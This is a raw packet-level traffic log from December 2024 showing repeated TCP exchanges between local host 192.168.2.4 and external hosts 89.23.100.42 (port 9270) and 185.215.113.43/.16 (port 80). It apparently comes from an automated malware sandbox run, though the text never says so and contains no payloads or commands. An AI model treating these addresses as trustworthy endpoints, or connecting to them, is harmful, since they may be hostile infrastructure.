Dec 15, 2024 11:59:44.780291080 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.802484035 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.833291054 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.922358036 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.953166962 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.061314106 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.061481953 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.177649021 CET	49835	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:45.177902937 CET	49851	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:45.181009054 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.181139946 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.186011076 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.187313080 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.297663927 CET	80	49851	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:45.297693014 CET	80	49835	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:45.297744989 CET	49851	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:45.297770977 CET	49835	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:45.305753946 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.307096004 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.341725111 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.341908932 CET	49851	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:45.341980934 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.462382078 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.462393999 CET	80	49851	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:45.462403059 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.568645954 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.568748951 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.688404083 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.688422918 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.709832907 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.710618019 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.829581022 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.830332041 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.855604887 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.855665922 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:45.976486921 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:45.976497889 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:46.376367092 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:46.376532078 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:46.426989079 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:46.496150017 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:46.496170044 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:46.520718098 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:46.576983929 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:46.577045918 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:46.633536100 CET	80	49851	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:46.633848906 CET	49851	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:46.691087008 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:46.811171055 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:46.823364019 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:46.943120956 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:47.006521940 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:47.036792040 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:47.126533985 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:47.126619101 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:47.156585932 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:47.209594965 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:47.256711006 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:47.329566002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:47.378384113 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:47.380683899 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:47.500973940 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:47.560393095 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:47.680278063 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:47.724020958 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:47.844454050 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:47.927310944 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:48.047719955 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:48.123534918 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:48.243530989 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:48.280061960 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:48.400032997 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:48.469331980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469351053 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469377041 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469392061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469405890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469413042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.469420910 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469436884 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469472885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.469472885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.469472885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.469594955 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469609976 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469624043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.469636917 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.469669104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.469669104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.521210909 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:48.589216948 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.589240074 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.589401007 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.589401007 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.641124964 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:48.661714077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.661736012 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.661883116 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.661883116 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.665716887 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.665781975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.665842056 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.665890932 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.674104929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.674169064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.674190998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.674237967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.682455063 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.682516098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.682562113 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.682607889 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.690943003 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.690995932 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.691066027 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.691111088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.699244022 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.699305058 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.699356079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.699410915 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.707680941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.707746983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.707762003 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.707788944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.716053009 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.716125011 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.716141939 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.716186047 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.724457026 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.724504948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.724544048 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.724589109 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.731329918 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:48.732996941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.733047962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.733103037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.733150005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.741296053 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.741322041 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.741349936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.741379976 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.851113081 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:48.853671074 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.853730917 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.853806973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.853854895 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.856184959 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.856235027 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.856283903 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.856328964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.860042095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.860101938 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.860163927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.860213995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.865180016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.865220070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.865238905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.865271091 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.870172977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.870239973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.870448112 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.870498896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.875164986 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.875214100 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.875271082 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.875319004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.880016088 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.880085945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.880089998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.880132914 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.884854078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.884865999 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:48.884905100 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.884952068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.884995937 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.889671087 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.889729023 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.889772892 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.889818907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.894552946 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.894604921 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.894625902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.894668102 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.899378061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.899444103 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.899468899 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.899518967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.904221058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.904277086 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.904321909 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.904369116 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.909112930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.909172058 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.909213066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.909259081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.913938999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.913996935 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.914045095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.914091110 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.918672085 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.918731928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.918771982 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.918814898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.923508883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.923558950 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.923578978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.923623085 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.928396940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.928461075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.928507090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.928549051 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.933172941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.933231115 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.933259010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.933301926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.938028097 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.938095093 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.938143015 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.938190937 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.942914009 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.942976952 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.942981958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.943021059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:48.973433971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:48.973506927 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.004549026 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:49.045737028 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.045882940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.045953035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.045953035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.047776937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.047832012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.048125029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.048176050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.051726103 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.051795959 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.051836014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.051881075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.055720091 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.055789948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.055824995 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.055871964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.059709072 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.059767008 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.059775114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.059809923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.063520908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.063566923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.063621044 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.063661098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.067326069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.067377090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.067420006 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.067461967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.070924997 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.070979118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.071023941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.071068048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.074557066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.074614048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.074615002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.074657917 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.078006983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.078067064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.078095913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.078144073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.081506968 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.081568003 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.081619978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.081662893 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.085036993 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.085102081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.085124969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.085172892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.088710070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.088762045 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.088779926 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.088829994 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.092075109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.092128992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.092175961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.092329979 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.095644951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.095684052 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.095695019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.095726013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.099226952 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.099273920 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.099395990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.099441051 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.102674961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.102722883 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.102797031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.102840900 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.104754925 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.104804993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.104885101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.104926109 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.107002020 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.107049942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.107141018 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.107183933 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.108977079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.109020948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.109076977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.109119892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.111079931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.111124992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.111164093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.111205101 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.113157034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.113202095 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.113254070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.113295078 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.115247965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.115293980 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.115354061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.115400076 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.117399931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.117446899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.117544889 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.117588997 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.119929075 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.119977951 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.120223999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.120275021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.121735096 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.121783018 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.121787071 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.121829987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.123656988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.123704910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.123739004 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.123780012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.125750065 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.125796080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.125833035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.125874043 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.127837896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.127885103 CET	49857	80	192.168.2.4	185.215.113.16
